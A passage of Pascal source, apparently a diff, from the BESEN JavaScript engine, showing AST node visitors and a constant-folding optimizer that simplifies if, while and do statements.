TBESENASTNodeBinaryOperatorExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression)); + end; + bntBINARYCOMMAEXPRESSION:begin + TBESENASTNodeBinaryCommaExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryCommaExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).RightExpression)); + end; + bntBINARYDIVIDEEXPRESSION:begin + TBESENASTNodeBinaryDivideExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryDivideExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).RightExpression)); + end; + bntBINARYMODULOEXPRESSION:begin + TBESENASTNodeBinaryModuloExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryModuloExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).RightExpression)); + end; + bntBINARYMULTIPLYEXPRESSION:begin + TBESENASTNodeBinaryMultiplyExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryMultiplyExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).RightExpression)); + end; + bntBINARYPLUSEXPRESSION:begin + TBESENASTNodeBinaryPlusExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryPlusExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).RightExpression)); + end; + bntBINARYMINUSEXPRESSION:begin + TBESENASTNodeBinaryMinusExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryMinusExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).RightExpression)); + end; + bntBINARYSHIFTLEFTEXPRESSION:begin + TBESENASTNodeBinaryShiftLeftExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryShiftLeftExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).RightExpression)); + end; + bntBINARYSHIFTRIGHTEXPRESSION:begin + TBESENASTNodeBinaryShiftRightExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryShiftRightExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).RightExpression)); + end; + bntBINARYSHIFTRIGHTUNSIGNEDEXPRESSION:begin + TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).RightExpression)); + end; + bntBINARYGREATERTHANEXPRESSION:begin + TBESENASTNodeBinaryGreaterThanExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryGreaterThanExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).RightExpression)); + end; + bntBINARYGREATERTHANOREQUALEXPRESSION:begin + TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).RightExpression)); + end; + bntBINARYLESSTHANEXPRESSION:begin + TBESENASTNodeBinaryLessThanExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryLessThanExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).RightExpression)); + end; + bntBINARYLESSTHANOREQUALEXPRESSION:begin + TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).RightExpression)); + end; + bntBINARYINSTANCEOFEXPRESSION:begin + TBESENASTNodeBinaryInstanceOfExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryInstanceOfExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).RightExpression)); + end; + bntBINARYINEXPRESSION:begin + TBESENASTNodeBinaryInExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryInExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryInExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryInExpression(ToVisit).RightExpression)); + end; + bntBINARYEQUALEQUALEXPRESSION:begin + TBESENASTNodeBinaryEqualEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryEqualEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).RightExpression)); + end; + bntBINARYEQUALEQUALEQUALEXPRESSION:begin + TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).RightExpression)); + end; + bntBINARYNOTEQUALEXPRESSION:begin + TBESENASTNodeBinaryNotEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryNotEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).RightExpression)); + end; + bntBINARYNOTEQUALEQUALEXPRESSION:begin + TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).RightExpression)); + end; + bntBINARYBITWISEANDEXPRESSION:begin + TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).RightExpression)); + end; + bntBINARYBITWISEXOREXPRESSION:begin + TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).RightExpression)); + end; + bntBINARYBITWISEOREXPRESSION:begin + TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).RightExpression)); + end; + bntBOOLEANLITERAL:begin + end; + bntCALLEXPRESSION:begin + TBESENASTNodeCallExpression(ToVisit).TheFunction:=pointer(Visit(TBESENASTNodeCallExpression(ToVisit).TheFunction)); + for Counter:=0 to length(TBESENASTNodeCallExpression(ToVisit).Arguments)-1 do begin + TBESENASTNodeCallExpression(ToVisit).Arguments[Counter]:=pointer(Visit(TBESENASTNodeCallExpression(ToVisit).Arguments[Counter])); + end; + end; + bntNEWEXPRESSION:begin + TBESENASTNodeNewExpression(ToVisit).TheFunction:=pointer(Visit(TBESENASTNodeNewExpression(ToVisit).TheFunction)); + for Counter:=0 to length(TBESENASTNodeNewExpression(ToVisit).Arguments)-1 do begin + TBESENASTNodeNewExpression(ToVisit).Arguments[Counter]:=pointer(Visit(TBESENASTNodeNewExpression(ToVisit).Arguments[Counter])); + end; + end; + bntCONDITIONALEXPRESSION:begin + TBESENASTNodeConditionalExpression(ToVisit).Expression:=pointer(Visit(TBESENASTNodeConditionalExpression(ToVisit).Expression)); + TBESENASTNodeConditionalExpression(ToVisit).TrueExpression:=pointer(Visit(TBESENASTNodeConditionalExpression(ToVisit).TrueExpression)); + TBESENASTNodeConditionalExpression(ToVisit).FalseExpression:=pointer(Visit(TBESENASTNodeConditionalExpression(ToVisit).FalseExpression)); + end; + bntUNARYEXPRESSION:begin + TBESENASTNodeUnaryExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryExpression(ToVisit).SubExpression)); + end; + bntUNARYOPERATOREXPRESSION:begin + TBESENASTNodeUnaryOperatorExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryOperatorExpression(ToVisit).SubExpression)); + end; + bntUNARYPLUSEXPRESSION:begin + TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression)); + end; + bntUNARYMINUSEXPRESSION:begin + TBESENASTNodeUnaryMinusExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryMinusExpression(ToVisit).SubExpression)); + end; + bntUNARYBITWISENOTEXPRESSION:begin + TBESENASTNodeUnaryBitwiseNotExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryBitwiseNotExpression(ToVisit).SubExpression)); + end; + bntUNARYLOGICALNOTEXPRESSION:begin + TBESENASTNodeUnaryLogicalNotExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryLogicalNotExpression(ToVisit).SubExpression)); + end; + bntUNARYVOIDEXPRESSION:begin + TBESENASTNodeUnaryVoidExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryVoidExpression(ToVisit).SubExpression)); + end; + bntUNARYTYPEOFEXPRESSION:begin + TBESENASTNodeUnaryTypeOfExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryTypeOfExpression(ToVisit).SubExpression)); + end; + bntPROPERTYEXPRESSION:begin + TBESENASTNodePropertyExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodePropertyExpression(ToVisit).LeftExpression)); + TBESENASTNodePropertyExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodePropertyExpression(ToVisit).RightExpression)); + end; + bntLOGICALANDEXPRESSION:begin + TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression)); + TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression)); + end; + bntLOGICALOREXPRESSION:begin + TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression)); + TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression)); + end; + bntDELETEEXPRESSION:begin + TBESENASTNodeDeleteExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeDeleteExpression(ToVisit).SubExpression)); + end; + bntPOSTFIXINCEXPRESSION:begin + TBESENASTNodePostfixIncExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression)); + end; + bntPOSTFIXDECEXPRESSION:begin + TBESENASTNodePostfixDecExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression)); + end; + bntPREFIXINCEXPRESSION:begin + TBESENASTNodePrefixIncExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression)); + end; + bntPREFIXDECEXPRESSION:begin + TBESENASTNodePrefixDecExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression)); + end; + bntNULLLITERAL:begin + end; + bntNUMBERLITERAL:begin + end; + bntREGEXPLITERAL:begin + end; + bntSTRINGLITERAL:begin + end; + bntTHISLITERAL:begin + end; + bntOBJECTLITERALPROPERTY:begin + TBESENASTNodeObjectLiteralProperty(ToVisit).Value:=pointer(Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Value)); + if assigned(TBESENASTNodeObjectLiteralProperty(ToVisit).Container) then begin + TBESENASTNodeObjectLiteralProperty(ToVisit).Container.Literal:=pointer(Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Container.Literal)); + end; + end; + bntOBJECTLITERAL:begin + for Counter:=0 to length(TBESENASTNodeObjectLiteral(ToVisit).Properties)-1 do begin + TBESENASTNodeObjectLiteral(ToVisit).Properties[Counter]:=pointer(Visit(TBESENASTNodeObjectLiteral(ToVisit).Properties[Counter])); + end; + end; + bntRETURNSTATEMENT:begin + if not IsFunction then begin + raise EBESENSyntaxError.Create('Return outside a function'); + end; + TBESENASTNodeReturnStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeReturnStatement(ToVisit).Expression)); + end; + bntPROGRAM:begin + OldIsFunction:=IsFunction; + OldFunctionLiteral:=FunctionLiteral; + OldIsMaybeArgumentsObjectUsed:=IsMaybeArgumentsObjectUsed; + IsFunction:=false; + IsMaybeArgumentsObjectUsed:=false; + FunctionLiteral:=nil; + TBESENASTNodeProgram(ToVisit).Body:=pointer(Visit(TBESENASTNodeProgram(ToVisit).Body)); + FunctionLiteral:=OldFunctionLiteral; + IsFunction:=OldIsFunction; + IsMaybeArgumentsObjectUsed:=IsMaybeArgumentsObjectUsed; + end; + bntFUNCTIONEXPRESSION:begin + if assigned(TBESENASTNodeFunctionExpression(ToVisit).Container) then begin + TBESENASTNodeFunctionExpression(ToVisit).Container.Literal:=pointer(Visit(TBESENASTNodeFunctionExpression(ToVisit).Container.Literal)); + end; + end; + end; + end; + end; + begin + Functions:=nil; + Variables:=nil; + VariableHashMap:=nil; + AreLocalsOptimizable:=true; + IsFunction:=false; + IsMaybeArgumentsObjectUsed:=false; + FunctionLiteral:=nil; + Visit(RootNode); + end; + function Optimize(RootNode:TBESENASTNode):TBESENASTNode; + var vl,vr:TBESENValue; + function Visit(ToVisit:TBESENASTNode):TBESENASTNode; + var Counter,LastLineNumber:integer; + nr:TBESENNumber; + sr:TBESENString; + br,OldIsStrict:TBESENBoolean; + begin + result:=ToVisit; + if assigned(ToVisit) then begin + if ToVisit is TBESENASTNodeStatement then begin + if TBESENASTNodeStatement(ToVisit).Location.LineNumber>0 then begin + TBESEN(Instance).LineNumber:=TBESENASTNodeStatement(ToVisit).Location.LineNumber; + end; + end; + case ToVisit.NodeType of + bntNONE:begin + end; + bntEXPRESSION:begin + end; + bntLITERAL:begin + end; + bntIDENTIFIER:begin + end; + bntVARIABLEDECLARATION:begin + TBESENASTNodeVariableDeclaration(ToVisit).Identifier:=pointer(Visit(TBESENASTNodeVariableDeclaration(ToVisit).Identifier)); + TBESENASTNodeVariableDeclaration(ToVisit).Expression:=pointer(Visit(TBESENASTNodeVariableDeclaration(ToVisit).Expression)); + end; + bntVARIABLEEXPRESSION:begin + for Counter:=0 to length(TBESENASTNodeVariableExpression(ToVisit).Declarations)-1 do begin + TBESENASTNodeVariableExpression(ToVisit).Declarations[Counter]:=pointer(Visit(TBESENASTNodeVariableExpression(ToVisit).Declarations[Counter])); + end; + end; + bntFUNCTIONBODY:begin + OldIsStrict:=TBESEN(Instance).IsStrict; + try + TBESEN(Instance).IsStrict:=TBESENASTNodeFunctionBody(ToVisit).IsStrict; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Parameters)-1 do begin + TBESENASTNodeFunctionBody(ToVisit).Parameters[Counter]:=pointer(Visit(TBESENASTNodeFunctionBody(ToVisit).Parameters[Counter])); + end; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Functions)-1 do begin + TBESENASTNodeFunctionBody(ToVisit).Functions[Counter]:=pointer(Visit(TBESENASTNodeFunctionBody(ToVisit).Functions[Counter])); + end; + TrimStuffAfterReturnBreakContinue(ToVisit,TBESENASTNodeFunctionBody(ToVisit).Statements); + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Statements)-1 do begin + TBESENASTNodeFunctionBody(ToVisit).Statements[Counter]:=pointer(Visit(TBESENASTNodeFunctionBody(ToVisit).Statements[Counter])); + end; + finally + TBESEN(Instance).IsStrict:=OldIsStrict; + end; + end; + bntFUNCTIONLITERAL:begin + TBESENASTNodeFunctionLiteral(ToVisit).Body:=pointer(Visit(TBESENASTNodeFunctionLiteral(ToVisit).Body)); + end; + bntSTATEMENT:begin + end; + bntVARIABLESTATEMENT:begin + for Counter:=0 to length(TBESENASTNodeVariableStatement(ToVisit).Declarations)-1 do begin + TBESENASTNodeVariableStatement(ToVisit).Declarations[Counter]:=pointer(Visit(TBESENASTNodeVariableStatement(ToVisit).Declarations[Counter])); + end; + end; + bntFUNCTIONDECLARATION:begin + if assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container) then begin + TBESENASTNodeFunctionDeclaration(ToVisit).Container.Literal:=pointer(Visit(TBESENASTNodeFunctionDeclaration(ToVisit).Container.Literal)); + end; + end; + bntEXPRESSIONSTATEMENT:begin + TBESENASTNodeExpressionStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeExpressionStatement(ToVisit).Expression)); + end; + bntEMPTYSTATEMENT:begin + end; + bntBLOCKSTATEMENT:begin + TrimStuffAfterReturnBreakContinue(ToVisit,TBESENASTNodeBlockStatement(ToVisit).Statements); + for Counter:=0 to length(TBESENASTNodeBlockStatement(ToVisit).Statements)-1 do begin + TBESENASTNodeBlockStatement(ToVisit).Statements[Counter]:=pointer(Visit(TBESENASTNodeBlockStatement(ToVisit).Statements[Counter])); + end; + end; + bntDEBUGGERSTATEMENT:begin + end; + bntBREAKSTATEMENT:begin + TBESENASTNodeBreakStatement(ToVisit).Identifier:=pointer(Visit(TBESENASTNodeBreakStatement(ToVisit).Identifier)); + end; + bntCONTINUESTATEMENT:begin + TBESENASTNodeContinueStatement(ToVisit).Identifier:=pointer(Visit(TBESENASTNodeContinueStatement(ToVisit).Identifier)); + end; + bntDOSTATEMENT:begin + TBESENASTNodeDoStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeDoStatement(ToVisit).Statement)); + TBESENASTNodeDoStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeDoStatement(ToVisit).Expression)); + if ConvertToValue(TBESENASTNodeDoStatement(ToVisit).Expression,vl) then begin + if not TBESEN(Instance).ToBool(vl) then begin + if assigned(TBESENASTNodeDoStatement(ToVisit).Statement) then begin + result:=TBESENASTNodeEmptyStatement(ToVisit).Create(Instance); + AddTrashNode(result,TBESENASTNodeDoStatement(ToVisit).Expression); + AddTrashNode(result,TBESENASTNodeDoStatement(ToVisit).Statement); + TBESENASTNodeDoStatement(ToVisit).Statement:=nil; + TBESENASTNodeDoStatement(ToVisit).Expression:=nil; + BESENFreeAndNil(ToVisit); + end else begin + result:=TBESENASTNodeDoStatement(ToVisit).Statement; + AddTrashNode(result,TBESENASTNodeDoStatement(ToVisit).Expression); + TBESENASTNodeDoStatement(ToVisit).Statement:=nil; + TBESENASTNodeDoStatement(ToVisit).Expression:=nil; + BESENFreeAndNil(ToVisit); + end; + end; + end; + if not assigned(result) then begin + result:=TBESENASTNodeEmptyStatement(ToVisit).Create(Instance); + end; + end; + bntWHILESTATEMENT:begin + TBESENASTNodeWhileStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeWhileStatement(ToVisit).Expression)); + TBESENASTNodeWhileStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeWhileStatement(ToVisit).Statement)); + if ConvertToValue(TBESENASTNodeWhileStatement(ToVisit).Expression,vl) then begin + if not TBESEN(Instance).ToBool(vl) then begin + result:=TBESENASTNodeEmptyStatement.Create(Instance); + TBESENASTNodeEmptyStatement(result).Location.LineNumber:=TBESENASTNodeFunctionDeclaration(ToVisit).Location.LineNumber; + AddTrashNode(result,TBESENASTNodeWhileStatement(ToVisit).Expression); + AddTrashNode(result,TBESENASTNodeWhileStatement(ToVisit).Statement); + TBESENASTNodeWhileStatement(ToVisit).Statement:=nil; + TBESENASTNodeWhileStatement(ToVisit).Expression:=nil; + BESENFreeAndNil(ToVisit); + end; + end; + if not assigned(result) then begin + result:=TBESENASTNodeEmptyStatement(ToVisit).Create(Instance); + end; + end; + bntWITHSTATEMENT:begin + TBESENASTNodeWithStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeWithStatement(ToVisit).Expression)); + TBESENASTNodeWithStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeWithStatement(ToVisit).Statement)); + end; + bntFORSTATEMENT:begin + TBESENASTNodeForStatement(ToVisit).Initial:=pointer(Visit(TBESENASTNodeForStatement(ToVisit).Initial)); + TBESENASTNodeForStatement(ToVisit).Condition:=pointer(Visit(TBESENASTNodeForStatement(ToVisit).Condition)); + TBESENASTNodeForStatement(ToVisit).Increment:=pointer(Visit(TBESENASTNodeForStatement(ToVisit).Increment)); + TBESENASTNodeForStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeForStatement(ToVisit).Statement)); + end; + bntFORINSTATEMENT:begin + TBESENASTNodeForInStatement(ToVisit).Variable:=pointer(Visit(TBESENASTNodeForInStatement(ToVisit).Variable)); + TBESENASTNodeForInStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeForInStatement(ToVisit).Expression)); + TBESENASTNodeForInStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeForInStatement(ToVisit).Statement)); + end; + bntIFSTATEMENT:begin + LastLineNumber:=ToVisit.Location.LineNumber; + TBESENASTNodeIfStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeIfStatement(ToVisit).Expression)); + TBESENASTNodeIfStatement(ToVisit).TrueStatement:=pointer(Visit(TBESENASTNodeIfStatement(ToVisit).TrueStatement)); + TBESENASTNodeIfStatement(ToVisit).FalseStatement:=pointer(Visit(TBESENASTNodeIfStatement(ToVisit).FalseStatement)); + if ConvertToValue(TBESENASTNodeIfStatement(ToVisit).Expression,vl) then begin + if TBESEN(Instance).ToBool(vl) then begin + if assigned(TBESENASTNodeIfStatement(ToVisit).TrueStatement) then begin + result:=TBESENASTNodeIfStatement(ToVisit).TrueStatement; + AddTrashNode(result,TBESENASTNodeIfStatement(ToVisit).Expression); + AddTrashNode(result,TBESENASTNodeIfStatement(ToVisit).FalseStatement); + TBESENASTNodeIfStatement(ToVisit).Expression:=nil; + TBESENASTNodeIfStatement(ToVisit).TrueStatement:=nil; + TBESENASTNodeIfStatement(ToVisit).FalseStatement:=nil; + BESENFreeAndNil(ToVisit); + end else begin + result:=TBESENASTNodeEmptyStatement.Create(Instance); + result.Location.LineNumber:=LastLineNumber; + AddTrashNode(result,TBESENASTNodeIfStatement(ToVisit).Expression); + AddTrashNode(result,TBESENASTNodeIfStatement(ToVisit).TrueStatement); + AddTrashNode(result,TBESENASTNodeIfStatement(ToVisit).FalseStatement); + TBESENASTNodeIfStatement(ToVisit).Expression:=nil; + TBESENASTNodeIfStatement(ToVisit).TrueStatement:=nil; + TBESENASTNodeIfStatement(ToVisit).FalseStatement:=nil; + BESENFreeAndNil(ToVisit); + end; + end else begin + if assigned(TBESENASTNodeIfStatement(ToVisit).FalseStatement) then begin + result:=TBESENASTNodeIfStatement(ToVisit).FalseStatement; + AddTrashNode(result,TBESENASTNodeIfStatement(ToVisit).Expression); + AddTrashNode(result,TBESENASTNodeIfStatement(ToVisit).TrueStatement); + TBESENASTNodeIfStatement(ToVisit).Expression:=nil; + TBESENASTNodeIfStatement(ToVisit).TrueStatement:=nil; + TBESENASTNodeIfStatement(ToVisit).FalseStatement:=nil; + BESENFreeAndNil(ToVisit); + end else begin + result:=TBESENASTNodeEmptyStatement.Create(Instance); + result.Location.LineNumber:=LastLineNumber; + AddTrashNode(result,TBESENASTNodeIfStatement(ToVisit).Expression); + AddTrashNode(result,TBESENASTNodeIfStatement(ToVisit).TrueStatement); + AddTrashNode(result,TBESENASTNodeIfStatement(ToVisit).FalseStatement); + TBESENASTNodeIfStatement(ToVisit).Expression:=nil; + TBESENASTNodeIfStatement(ToVisit).TrueStatement:=nil; + TBESENASTNodeIfStatement(ToVisit).FalseStatement:=nil; + BESENFreeAndNil(ToVisit); + end; + end; + end; + if not assigned(result) then begin + result:=TBESENASTNodeEmptyStatement.Create(Instance); + result.Location.LineNumber:=LastLineNumber; + end; + end; + bntLABELLEDSTATEMENT:begin + for Counter:=0 to length(TBESENASTNodeLabelledStatement(ToVisit).Identifiers)-1 do begin + TBESENASTNodeLabelledStatement(ToVisit).Identifiers[Counter]:=pointer(Visit(TBESENASTNodeLabelledStatement(ToVisit).Identifiers[Counter])); + end; + TBESENASTNodeLabelledStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeLabelledStatement(ToVisit).Statement)); + end; + bntCASESTATEMENT:begin + TBESENASTNodeBreakStatement(ToVisit).Identifier:=pointer(Visit(TBESENASTNodeBreakStatement(ToVisit).Identifier)); + TrimStuffAfterReturnBreakContinue(ToVisit,TBESENASTNodeCaseStatement(ToVisit).Statements); + for Counter:=0 to length(TBESENASTNodeCaseStatement(ToVisit).Statements)-1 do begin + TBESENASTNodeCaseStatement(ToVisit).Statements[Counter]:=pointer(Visit(TBESENASTNodeCaseStatement(ToVisit).Statements[Counter])); + end; + end; + bntSWITCHSTATEMENT:begin + TBESENASTNodeSwitchStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeSwitchStatement(ToVisit).Expression)); + for Counter:=0 to length(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements)-1 do begin + TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter]:=pointer(Visit(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter])); + end; + end; + bntTHROWSTATEMENT:begin + TBESENASTNodeThrowStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeThrowStatement(ToVisit).Expression)); + end; + bntTRYSTATEMENT:begin + TBESENASTNodeTryStatement(ToVisit).TryBlock:=pointer(Visit(TBESENASTNodeTryStatement(ToVisit).TryBlock)); + TBESENASTNodeTryStatement(ToVisit).CatchIdentifier:=pointer(Visit(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier)); + TBESENASTNodeTryStatement(ToVisit).CatchBlock:=pointer(Visit(TBESENASTNodeTryStatement(ToVisit).CatchBlock)); + TBESENASTNodeTryStatement(ToVisit).FinallyBlock:=pointer(Visit(TBESENASTNodeTryStatement(ToVisit).FinallyBlock)); + end; + bntARRAYLITERAL:begin + for Counter:=0 to length(TBESENASTNodeArrayLiteral(ToVisit).Elements)-1 do begin + if assigned(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]) then begin + TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]:=pointer(Visit(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter])); + end; + end; + end; + bntBINARYEXPRESSION:begin + end; + bntASSIGNMENTEXPRESSION:begin + TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTOPERATOREXPRESSION:begin + TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTMULTIPLYEXPRESSION:begin + TBESENASTNodeAssignmentMultiplyExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentMultiplyExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTDIVIDEEXPRESSION:begin + 